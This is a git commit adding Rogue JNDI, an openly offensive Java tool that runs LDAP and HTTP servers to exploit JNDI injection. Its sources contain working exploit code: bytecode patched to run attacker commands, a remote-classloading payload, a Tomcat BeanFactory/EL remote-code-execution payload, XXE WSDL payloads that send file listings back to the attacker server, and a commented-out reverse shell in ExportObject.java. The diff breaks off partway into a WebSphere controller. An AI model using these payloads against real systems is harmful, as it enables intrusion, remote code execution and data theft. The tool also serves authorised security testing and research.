commit
2f7e814f60
@ -0,0 +1,16 @@ |
||||
# java |
||||
*.class |
||||
|
||||
# mvn |
||||
target/ |
||||
|
||||
# eclipse |
||||
.classpath |
||||
.project |
||||
.settings/ |
||||
|
||||
# idea |
||||
.idea/ |
||||
*.iml |
||||
|
||||
dependency-reduced-pom.xml |
@ -0,0 +1,21 @@ |
||||
MIT License |
||||
|
||||
Copyright (c) 2019 Michael Stepankin |
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy |
||||
of this software and associated documentation files (the "Software"), to deal |
||||
in the Software without restriction, including without limitation the rights |
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell |
||||
copies of the Software, and to permit persons to whom the Software is |
||||
furnished to do so, subject to the following conditions: |
||||
|
||||
The above copyright notice and this permission notice shall be included in all |
||||
copies or substantial portions of the Software. |
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR |
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, |
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE |
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER |
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, |
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE |
||||
SOFTWARE. |
@ -0,0 +1,84 @@ |
||||
## Rogue JNDI |
||||
A malicious LDAP server for JNDI injection attacks. |
||||
|
||||
### Description |
||||
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.<br> |
||||
In order to perform an attack, you can start these servers localy and then trigger a JNDI resolution on the vulnerable client, e.g.: |
||||
```java |
||||
InitialContext.lookup("ldap://your_server.com:1389/o=reference"); |
||||
``` |
||||
It will initiate a connection from the vulnerable clinet to the local LDAP server. |
||||
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution. |
||||
|
||||
### Motivation |
||||
In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of [ObjectFactories](https://docs.oracle.com/javase/8/docs/api/javax/naming/spi/ObjectFactory.html). |
||||
|
||||
### Supported payloads |
||||
* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191 |
||||
* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** |
||||
* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory** |
||||
* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory** |
||||
|
||||
### Usage |
||||
``` |
||||
$ java -jar target/RogueJndi-1.0.jar -h |
||||
+-+-+-+-+-+-+-+-+-+ |
||||
|R|o|g|u|e|J|n|d|i| |
||||
+-+-+-+-+-+-+-+-+-+ |
||||
Usage: java -jar target/RogueJndi-1.0.jar [options] |
||||
Options: |
||||
-c, --command Command to execute on the target server (default: |
||||
/Applications/Calculator.app/Contents/MacOS/Calculator) |
||||
-n, --hostname Local HTTP server hostname (required for remote |
||||
classloading and websphere payloads) (default: |
||||
192.168.1.10) |
||||
-l, --ldapPort Ldap bind port (default: 1389) |
||||
-p, --httpPort Http bind port (default: 8000) |
||||
--wsdl [websphere1 payload option] WSDL file with XXE payload |
||||
(default: /list.wsdl) |
||||
--localjar [websphere2 payload option] Local jar file to load (this |
||||
file should be located on the remote server) (default: |
||||
../../../../../tmp/jar_cache7808167489549525095.tmp) |
||||
-h, --help Show this help |
||||
``` |
||||
The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c). |
||||
|
||||
As an alternative to the "-c" option, you can modify the [ExportObject.java](/src/main/java/artsploit/ExportObject.java) file by putting java code you want to execute on the target server. |
||||
|
||||
### Example: |
||||
``` |
||||
$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10" |
||||
+-+-+-+-+-+-+-+-+-+ |
||||
|R|o|g|u|e|J|n|d|i| |
||||
+-+-+-+-+-+-+-+-+-+ |
||||
Starting HTTP server on 0.0.0.0:8000 |
||||
Starting LDAP server on 0.0.0.0:1389 |
||||
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference |
||||
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference |
||||
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat |
||||
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1 |
||||
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 |
||||
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 |
||||
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 |
||||
``` |
||||
|
||||
|
||||
### Building |
||||
Java v1.7+ and Maven v3+ required |
||||
``` |
||||
mvn package |
||||
``` |
||||
|
||||
### Disclamer |
||||
This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack. |
||||
|
||||
### Special Thanks |
||||
* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks |
||||
* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository |
||||
* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research |
||||
|
||||
### Links |
||||
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog |
||||
|
||||
### Authors |
||||
[Michael Stepankin](https://twitter.com/artsploit), Veracode Research |
@ -0,0 +1,92 @@ |
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> |
||||
<modelVersion>4.0.0</modelVersion> |
||||
|
||||
<groupId>RogueJndi</groupId> |
||||
<artifactId>RogueJndi</artifactId> |
||||
<version>1.0</version> |
||||
|
||||
<packaging>jar</packaging> |
||||
|
||||
<dependencies> |
||||
<dependency> |
||||
<groupId>com.unboundid</groupId> |
||||
<artifactId>unboundid-ldapsdk</artifactId> |
||||
<version>3.1.1</version> |
||||
</dependency> |
||||
<dependency> |
||||
<groupId>org.apache.tomcat.embed</groupId> |
||||
<artifactId>tomcat-embed-core</artifactId> |
||||
<version>8.5.45</version> |
||||
</dependency> |
||||
|
||||
<dependency> |
||||
<groupId>org.apache.tomcat.embed</groupId> |
||||
<artifactId>tomcat-embed-el</artifactId> |
||||
<version>8.5.45</version> |
||||
</dependency> |
||||
|
||||
<dependency> |
||||
<groupId>com.beust</groupId> |
||||
<artifactId>jcommander</artifactId> |
||||
<version>1.78</version> |
||||
</dependency> |
||||
|
||||
<dependency> |
||||
<groupId>org.reflections</groupId> |
||||
<artifactId>reflections</artifactId> |
||||
<version>0.9.11</version> |
||||
</dependency> |
||||
|
||||
<dependency> |
||||
<groupId>org.apache.commons</groupId> |
||||
<artifactId>commons-text</artifactId> |
||||
<version>1.8</version> |
||||
</dependency> |
||||
|
||||
<dependency> |
||||
<groupId>junit</groupId> |
||||
<artifactId>junit</artifactId> |
||||
<version>4.12</version> |
||||
<scope>test</scope> |
||||
</dependency> |
||||
|
||||
</dependencies> |
||||
|
||||
<properties> |
||||
<maven.test.skip>true</maven.test.skip> |
||||
</properties> |
||||
|
||||
<build> |
||||
<plugins> |
||||
<plugin> |
||||
<artifactId>maven-shade-plugin</artifactId> |
||||
<version>3.2.1</version> |
||||
<executions> |
||||
<execution> |
||||
<phase>package</phase> |
||||
<goals> |
||||
<goal>shade</goal> |
||||
</goals> |
||||
<configuration> |
||||
<transformers> |
||||
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"> |
||||
<mainClass>artsploit.RogueJndi</mainClass> |
||||
</transformer> |
||||
</transformers> |
||||
</configuration> |
||||
</execution> |
||||
</executions> |
||||
</plugin> |
||||
<plugin> |
||||
<groupId>org.apache.maven.plugins</groupId> |
||||
<artifactId>maven-compiler-plugin</artifactId> |
||||
<version>3.8.1</version> |
||||
<configuration> |
||||
<source>7</source> |
||||
<target>7</target> |
||||
</configuration> |
||||
</plugin> |
||||
</plugins> |
||||
</build> |
||||
</project> |
@ -0,0 +1,57 @@ |
||||
package artsploit; |
||||
|
||||
import com.beust.jcommander.JCommander; |
||||
import com.beust.jcommander.Parameter; |
||||
import com.beust.jcommander.UnixStyleUsageFormatter; |
||||
|
||||
import java.net.InetAddress; |
||||
import java.net.UnknownHostException; |
||||
|
||||
public class Config { |
||||
|
||||
@Parameter(names = {"-c", "--command"}, description = "Command to execute on the target server", order = 0) |
||||
public static String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; |
||||
|
||||
@Parameter(names = {"-n", "--hostname"}, description = "Local HTTP server hostname " + |
||||
"(required for remote classloading and websphere payloads)", order = 1) |
||||
public static String hostname; |
||||
|
||||
static { |
||||
try { //try to get the local hostname by default
|
||||
hostname = InetAddress.getLocalHost().getHostAddress(); |
||||
} catch (UnknownHostException e) { |
||||
hostname = "127.0.0.1"; |
||||
} |
||||
} |
||||
|
||||
@Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2) |
||||
public static int ldapPort = 1389; |
||||
|
||||
@Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3) |
||||
public static int httpPort = 8000; |
||||
|
||||
@Parameter(names = {"--wsdl"}, description = "[websphere1 payload option] WSDL file with XXE payload", order = 4) |
||||
public static String wsdl = "/list.wsdl"; |
||||
|
||||
@Parameter(names = {"--localjar"}, description = "[websphere2 payload option] Local jar file to load " + |
||||
"(this file should be located on the remote server)", order = 5) |
||||
public static String localjar = "../../../../../tmp/jar_cache7808167489549525095.tmp"; |
||||
|
||||
@Parameter(names = {"-h", "--help"}, help = true, description = "Show this help") |
||||
private static boolean help = false; |
||||
|
||||
public static void applyCmdArgs(String[] args) { |
||||
//process cmd args
|
||||
JCommander jc = JCommander.newBuilder() |
||||
.addObject(new Config()) |
||||
.build(); |
||||
jc.parse(args); |
||||
jc.setProgramName("java -jar target/RogueJndi-1.0.jar"); |
||||
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); |
||||
|
||||
if(help) { |
||||
jc.usage(); //if -h specified, show help and exit
|
||||
System.exit(0); |
||||
} |
||||
} |
||||
} |
@ -0,0 +1,62 @@ |
||||
package artsploit; |
||||
|
||||
import javax.naming.Context; |
||||
import javax.naming.Name; |
||||
import java.io.InputStream; |
||||
import java.io.OutputStream; |
||||
import java.net.Socket; |
||||
import java.util.Hashtable; |
||||
|
||||
/** |
||||
* ExportObject class is served via HTTP for URLClassloaders |
||||
* the bytecode of this constructor is patched in the {@link HttpServer} class
|
||||
* by adding a new Runtime.exec(Config.command) to the top of the constructor |
||||
* feel free to any code you want to execute on the target here |
||||
*/ |
||||
public class ExportObject implements javax.naming.spi.ObjectFactory { |
||||
public ExportObject() { |
||||
try { |
||||
//oob check
|
||||
// Runtime.getRuntime().exec("nslookup jndi.x.artsploit.com");
|
||||
// Runtime.getRuntime().exec("calc.exe");
|
||||
|
||||
//Pure Groovy/Java Reverse Shell
|
||||
//snatched from https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
|
||||
// String lhost = "127.0.0.1";
|
||||
// int lport = 8080;
|
||||
//// String cmd = "cmd.exe"; //win
|
||||
// String cmd="/bin/bash"; //linux
|
||||
// Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
||||
// Socket s = new Socket(lhost,lport);
|
||||
// InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
|
||||
// OutputStream po = p.getOutputStream(), so = s.getOutputStream();
|
||||
// while(!s.isClosed()) {
|
||||
// while(pi.available() > 0)
|
||||
// so.write(pi.read());
|
||||
// while(pe.available() > 0)
|
||||
// so.write(pe.read());
|
||||
// while(si.available() > 0)
|
||||
// po.write(si.read());
|
||||
// so.flush();
|
||||
// po.flush();
|
||||
// Thread.sleep(50);
|
||||
// try {
|
||||
// p.exitValue();
|
||||
// break;
|
||||
// } catch (Exception e){
|
||||
//
|
||||
// }
|
||||
// }
|
||||
// p.destroy();
|
||||
// s.close();
|
||||
|
||||
} catch(Exception e) { |
||||
e.printStackTrace(); |
||||
} |
||||
} |
||||
|
||||
@Override |
||||
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { |
||||
return null; |
||||
} |
||||
} |
@ -0,0 +1,147 @@ |
||||
package artsploit; |
||||
|
||||
import com.sun.net.httpserver.HttpExchange; |
||||
import com.sun.net.httpserver.HttpHandler; |
||||
import javassist.ClassPool; |
||||
import javassist.CtClass; |
||||
import javassist.CtConstructor; |
||||
import org.apache.commons.lang3.reflect.FieldUtils; |
||||
import org.reflections.Reflections; |
||||
|
||||
import java.io.ByteArrayOutputStream; |
||||
import java.lang.reflect.Field; |
||||
import java.net.InetSocketAddress; |
||||
import java.util.concurrent.Executors; |
||||
import java.util.jar.JarOutputStream; |
||||
import java.util.zip.ZipEntry; |
||||
|
||||
import static org.apache.commons.text.StringEscapeUtils.escapeJava; |
||||
|
||||
public class HttpServer implements HttpHandler { |
||||
|
||||
byte[] exportByteCode; |
||||
byte[] exportJar; |
||||
|
||||
public static void start() throws Exception { |
||||
System.out.println("Starting HTTP server on 0.0.0.0:" + Config.httpPort); |
||||
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(Config.httpPort), 10); |
||||
httpServer.createContext("/", new HttpServer()); |
||||
httpServer.setExecutor(Executors.newCachedThreadPool()); |
||||
httpServer.start(); |
||||
} |
||||
|
||||
public HttpServer() throws Exception { |
||||
exportByteCode = patchBytecode(ExportObject.class, Config.command, "xExportObject"); |
||||
exportJar = createJar(exportByteCode, "xExportObject"); |
||||
} |
||||
|
||||
/** |
||||
* Patch the bytecode of supplied class constructor by injecting execution of a command |
||||
*/ |
||||
byte[] patchBytecode(Class clazz, String command, String newName) throws Exception { |
||||
|
||||
//load ExploitObject.class bytecode
|
||||
ClassPool classPool = ClassPool.getDefault(); |
||||
CtClass exploitClass = classPool.get(clazz.getName()); |
||||
|
||||
//patch its bytecode by adding a new command
|
||||
CtConstructor m = exploitClass.getConstructors()[0]; |
||||
m.insertBefore("{ Runtime.getRuntime().exec(\"" + escapeJava(command) + "\"); }"); |
||||
exploitClass.setName(newName); |
||||
exploitClass.detach(); |
||||
return exploitClass.toBytecode(); |
||||
} |
||||
|
||||
/** |
||||
* Create an executable jar based on supplied bytecode |
||||
*/ |
||||
byte[] createJar(byte[] exportByteCode, String className) throws Exception { |
||||
|
||||
ByteArrayOutputStream bout = new ByteArrayOutputStream(); |
||||
JarOutputStream jarOut = new JarOutputStream(bout); |
||||
jarOut.putNextEntry(new ZipEntry(className + ".class")); |
||||
jarOut.write(exportByteCode); |
||||
jarOut.closeEntry(); |
||||
jarOut.close(); |
||||
bout.close(); |
||||
|
||||
return bout.toByteArray(); |
||||
} |
||||
|
||||
public void handle(HttpExchange httpExchange) { |
||||
try { |
||||
String path = httpExchange.getRequestURI().getPath(); |
||||
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " asking for " + path); |
||||
|
||||
switch (path) { |
||||
case "/xExportObject.class": |
||||
//send xExportObject bytecode back to client
|
||||
httpExchange.sendResponseHeaders(200, exportByteCode.length); |
||||
httpExchange.getResponseBody().write(exportByteCode); |
||||
break; |
||||
|
||||
case "/xExportObject.jar": |
||||
//send xExportObject bytecode in a jar archive
|
||||
//payload for artsploit.controllers.WebSphere1-2
|
||||
httpExchange.sendResponseHeaders(200, exportJar.length+1); |
||||
httpExchange.getResponseBody().write(exportJar); |
||||
System.out.println("Stalling connection for 60 seconds"); |
||||
Thread.sleep(60000); |
||||
System.out.println("Release stalling..."); |
||||
break; |
||||
|
||||
case "/upload.wsdl": |
||||
//payload for artsploit.controllers.WebSphere1-2
|
||||
//intended to upload xExploitObject.jar into the /temp directory on server
|
||||
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.hostname + ":" + Config.httpPort + |
||||
"/xExploitObject.jar!/file.txt\"><a></a>"; |
||||
httpExchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); |
||||
httpExchange.getResponseBody().write(uploadWsdl.getBytes()); |
||||
break; |
||||
|
||||
case "/xx.http": |
||||
//payload for artsploit.controllers.WebSphere1-2
|
||||
//second part for upload.wsdl
|
||||
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd '<import namespace=\"uri\" location=\"http://" + |
||||
Config.hostname + ":" + Config.httpPort + "/xxeLog?%aaa;\"/>'>'>%ccc;"; |
||||
httpExchange.sendResponseHeaders(200, xxhttp.getBytes().length); |
||||
httpExchange.getResponseBody().write(xxhttp.getBytes()); |
||||
break; |
||||
|
||||
case "/list.wsdl": |
||||
//payload for artsploit.controllers.WebSphere1-2
|
||||
//intended to list files in the /temp directory on server
|
||||
String listWsdl = "" + |
||||
"<!DOCTYPE x [\n" + |
||||
" <!ENTITY % aaa SYSTEM \"file:///tmp/\">\n" + |
||||
" <!ENTITY % bbb SYSTEM \"http://" + Config.hostname + ":" + Config.httpPort + "/xx.http\">\n" + |
||||
" %bbb;\n" + |
||||
"]>\n" + |
||||
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" + |
||||
" &ddd;\n" + |
||||
"</definitions>"; |
||||
|
||||
httpExchange.sendResponseHeaders(200, listWsdl.getBytes().length); |
||||
httpExchange.getResponseBody().write(listWsdl.getBytes()); |
||||
break; |
||||
|
||||
case "/xxeLog": |
||||
//xxe logger for websphere wsdl payloads
|
||||
//hacky way to access private fields of (Request)((ExchangeImpl)((HttpExchangeImpl)httpExchange).impl).req
|
||||
Object exchangeImpl = FieldUtils.readField(httpExchange, "impl", true); |
||||
Object request = FieldUtils.readField(exchangeImpl, "req", true); |
||||
String startLine = (String) FieldUtils.readField(request, "startLine", true); |
||||
|
||||
System.out.println("\u001B[31mxxe attack result: " + startLine + "\u001B[0m"); |
||||
httpExchange.sendResponseHeaders(200, 0); |
||||
break; |
||||
|
||||
default: |
||||
httpExchange.sendResponseHeaders(200, 0); |
||||
} |
||||
httpExchange.close(); |
||||
} catch(Exception e) { |
||||
e.printStackTrace(); |
||||
} |
||||
} |
||||
} |
@ -0,0 +1,90 @@ |
||||
package artsploit; |
||||
|
||||
import artsploit.annotations.LdapMapping; |
||||
import artsploit.controllers.LdapController; |
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer; |
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; |
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig; |
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; |
||||
import org.reflections.Reflections; |
||||
|
||||
import javax.net.ServerSocketFactory; |
||||
import javax.net.SocketFactory; |
||||
import javax.net.ssl.SSLSocketFactory; |
||||
import java.lang.reflect.Constructor; |
||||
import java.net.InetAddress; |
||||
import java.util.Set; |
||||
import java.util.TreeMap; |
||||
|
||||
class LdapServer extends InMemoryOperationInterceptor { |
||||
|
||||
TreeMap<String, LdapController> routes = new TreeMap<>(); |
||||
|
||||
public static void start() { |
||||
try { |
||||
System.out.println("Starting LDAP server on 0.0.0.0:" + Config.ldapPort); |
||||
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); |
||||
serverConfig.setListenerConfigs(new InMemoryListenerConfig( |
||||
"listen", |
||||
InetAddress.getByName("0.0.0.0"), |
||||
Config.ldapPort, |
||||
ServerSocketFactory.getDefault(), |
||||
SocketFactory.getDefault(), |
||||
(SSLSocketFactory) SSLSocketFactory.getDefault())); |
||||
|
||||
serverConfig.addInMemoryOperationInterceptor(new LdapServer()); |
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); |
||||
ds.startListening(); |
||||
} |
||||
catch ( Exception e ) { |
||||
e.printStackTrace(); |
||||
} |
||||
} |
||||
|
||||
public LdapServer() throws Exception { |
||||
|
||||
//find all classes annotated with @LdapMapping
|
||||
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName()) |
||||
.getTypesAnnotatedWith(LdapMapping.class); |
||||
|
||||
//instantiate them and store in the routes map
|
||||
for(Class<?> controller : controllers) { |
||||
Constructor<?> cons = controller.getConstructor(); |
||||
LdapController instance = (LdapController) cons.newInstance(); |
||||
String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); |
||||
for(String mapping : mappings) { |
||||
if(mapping.startsWith("/")) |
||||
mapping = mapping.substring(1); //remove first forward slash
|
||||
|
||||
System.out.printf("Mapping ldap://%s:%s/%s to %s\n", |
||||
Config.hostname, Config.ldapPort, mapping, controller.getName()); |
||||
routes.put(mapping, instance); |
||||
} |
||||
} |
||||
} |
||||
|
||||
/** |
||||
* {@inheritDoc} |
||||
* |
||||
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) |
||||
*/ |
||||
@Override |
||||
public void processSearchResult(InMemoryInterceptedSearchResult result) { |
||||
String base = result.getRequest().getBaseDN(); |
||||
LdapController controller = null; |
||||
//find controller
|
||||
for(String key: routes.keySet()) { |
||||
//compare using wildcard at the end
|
||||
if(key.equals(base) || key.endsWith("*") && base.startsWith(key.substring(0, key.length()-1))) { |
||||
controller = routes.get(key); |
||||
break; |
||||
} |
||||
} |
||||
try { |
||||
controller.sendResult(result, base); |
||||
} catch (Exception e1) { |
||||
e1.printStackTrace(); |
||||
} |
||||
} |
||||
} |
@ -0,0 +1,15 @@ |
||||
package artsploit; |
||||
|
||||
public class RogueJndi { |
||||
|
||||
public static void main(String[] args) throws Exception { |
||||
System.out.println( |
||||
"+-+-+-+-+-+-+-+-+-+\n" + |
||||
"|R|o|g|u|e|J|n|d|i|\n" + |
||||
"+-+-+-+-+-+-+-+-+-+" |
||||
); |
||||
Config.applyCmdArgs(args); |
||||
HttpServer.start(); |
||||
LdapServer.start(); |
||||
} |
||||
} |
@ -0,0 +1,43 @@ |
||||
package artsploit; |
||||
|
||||
import java.io.ByteArrayOutputStream; |
||||
import java.io.IOException; |
||||
import java.io.ObjectOutputStream; |
||||
import java.util.ArrayList; |
||||
|
||||
public class Utilities { |
||||
|
||||
public static byte[] serialize(Object ref) throws IOException { |
||||
ByteArrayOutputStream out = new ByteArrayOutputStream(); |
||||
ObjectOutputStream objOut = new ObjectOutputStream(out); |
||||
objOut.writeObject(ref); |
||||
return out.toByteArray(); |
||||
} |
||||
|
||||
public static String makeJavaScriptString(String str) { |
||||
|
||||
ArrayList<String> result = new ArrayList<>(str.length()); |
||||
for(int i=0; i<str.length(); i++) { |
||||
Integer x = Character.codePointAt(str, i); |
||||
result.add(x.toString()); |
||||
} |
||||
return "String.fromCharCode(" + String.join(",", result) + ")"; |
||||
} |
||||
|
||||
/** |
||||
* Get a parameter value from the baseDN ldap string |
||||
* e.g. getDnParam("o=was2,file=/etc/passwd,xxx=yyy", "file") returns "/etc/passwd" |
||||
*/ |
||||
public static String getDnParam(String baseDN, String param) { |
||||
int startIndex = baseDN.indexOf(param + "="); |
||||
if(startIndex == -1) |
||||
return null; |
||||
|
||||
startIndex += param.length() + 1 ; |
||||
int endIndex = baseDN.indexOf(',', startIndex); |
||||
if(endIndex == -1) |
||||
return baseDN.substring(startIndex); |
||||
else |
||||
return baseDN.substring(startIndex, endIndex); |
||||
} |
||||
} |
@ -0,0 +1,12 @@ |
||||
package artsploit.annotations; |
||||
|
||||
import java.lang.annotation.ElementType; |
||||
import java.lang.annotation.Retention; |
||||
import java.lang.annotation.RetentionPolicy; |
||||
import java.lang.annotation.Target; |
||||
|
||||
@Retention(RetentionPolicy.RUNTIME) |
||||
@Target(ElementType.TYPE) |
||||
public @interface LdapMapping { |
||||
String[] uri(); |
||||
} |
@ -0,0 +1,7 @@ |
||||
package artsploit.controllers; |
||||
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||
|
||||
public interface LdapController { |
||||
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; |
||||
} |
@ -0,0 +1,19 @@ |
||||
package com.ibm.websphere.client.factory.jdbc; |
||||
|
||||
import javax.naming.RefAddr; |
||||
import java.util.Properties; |
||||
|
||||
//this is a stub class required by WebSphere2 ldap handler
|
||||
public class PropertiesRefAddr extends RefAddr { |
||||
private static final long serialVersionUID = 288055886942232156L; |
||||
private Properties props; |
||||
|
||||
public PropertiesRefAddr(String addrType, Properties props) { |
||||
super(addrType); |
||||
this.props = props; |
||||
} |
||||
|
||||
public Object getContent() { |
||||
return this.props; |
||||
} |
||||
} |
@ -0,0 +1,40 @@ |
||||
package artsploit.controllers; |
||||
|
||||
import artsploit.Config; |
||||
import artsploit.annotations.LdapMapping; |
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||
import com.unboundid.ldap.sdk.Entry; |
||||
import com.unboundid.ldap.sdk.LDAPResult; |
||||
import com.unboundid.ldap.sdk.ResultCode; |
||||
|
||||
/** |
||||
* Classic JNDI attack. The server responds with a reference object. |
||||
* When the reference is unpacked on the server side, if "javaFactory" class name is unknown for the server, |
||||
* its bytecode is loaded and executed from "http://hostname/xExportObject.class" |
||||
* |
||||
* Yields: |
||||
* RCE via remote classloading. |
||||
* |
||||
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
|
||||
* |
||||
* Requires: |
||||
* - java <8u191 |
||||
* |
||||
* @author artsploit |
||||
*/ |
||||
@LdapMapping(uri = { "/", "/o=reference" }) |
||||
public class RemoteReference implements LdapController { |
||||
|
||||
private String classloaderUrl = "http://" + Config.hostname + ":" + Config.httpPort + "/"; |
||||
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||
Entry e = new Entry(base); |
||||
System.out.println("Sending LDAP reference result for " + classloaderUrl); |
||||
e.addAttribute("objectClass", "javaNamingReference"); |
||||
e.addAttribute("javaClassName", "xUnknown"); //could be any unknown
|
||||
e.addAttribute("javaFactory", "xExportObject"); //could be any unknown
|
||||
e.addAttribute("javaCodeBase", classloaderUrl); |
||||
result.sendSearchEntry(e); |
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||
} |
||||
} |
@ -0,0 +1,57 @@ |
||||
package artsploit.controllers; |
||||
|
||||
import artsploit.Config; |
||||
import artsploit.annotations.LdapMapping; |
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||
import com.unboundid.ldap.sdk.Entry; |
||||
import com.unboundid.ldap.sdk.LDAPResult; |
||||
import com.unboundid.ldap.sdk.ResultCode; |
||||
import org.apache.naming.ResourceRef; |
||||
|
||||
import javax.naming.StringRefAddr; |
||||
|
||||
import static artsploit.Utilities.makeJavaScriptString; |
||||
import static artsploit.Utilities.serialize; |
||||
|
||||
/** |
||||
* Yields: |
||||
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory} |
||||
* When bean is created on the server side, we can control its class name and setter methods, |
||||
* so we can leverage {@link javax.el.ELProcessor#eval} method to execute arbitrary Java code via EL evaluation |
||||
* |
||||
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
|
||||
* |
||||
* Requires: |
||||
* - tomcat-embed-core.jar |
||||
* - tomcat-embed-el.jar |
||||
* |
||||
* @author artsploit |
||||
*/ |
||||
@LdapMapping(uri = { "/o=tomcat" }) |
||||
public class Tomcat implements LdapController { |
||||
|
||||
String payload = ("{" + |
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + |
||||
".newInstance().getEngineByName(\"JavaScript\")" + |
||||
".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" + |
||||
"}") |
||||
.replace("${command}", makeJavaScriptString(Config.command)); |
||||
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||
|
||||
System.out.println("Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload"); |
||||
|
||||
Entry e = new Entry(base); |
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", |
||||
true, "org.apache.naming.factory.BeanFactory", null); |
||||
ref.add(new StringRefAddr("forceString", "x=eval")); |
||||
ref.add(new StringRefAddr("x", payload)); |
||||
e.addAttribute("javaSerializedData", serialize(ref)); |
||||
|
||||
result.sendSearchEntry(e); |
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||
} |
||||
} |
@ -0,0 +1,57 @@ |
||||
package artsploit.controllers; |
||||
|
||||
import artsploit.Config; |
||||
import artsploit.Utilities; |
||||
import artsploit.annotations.LdapMapping; |
||||
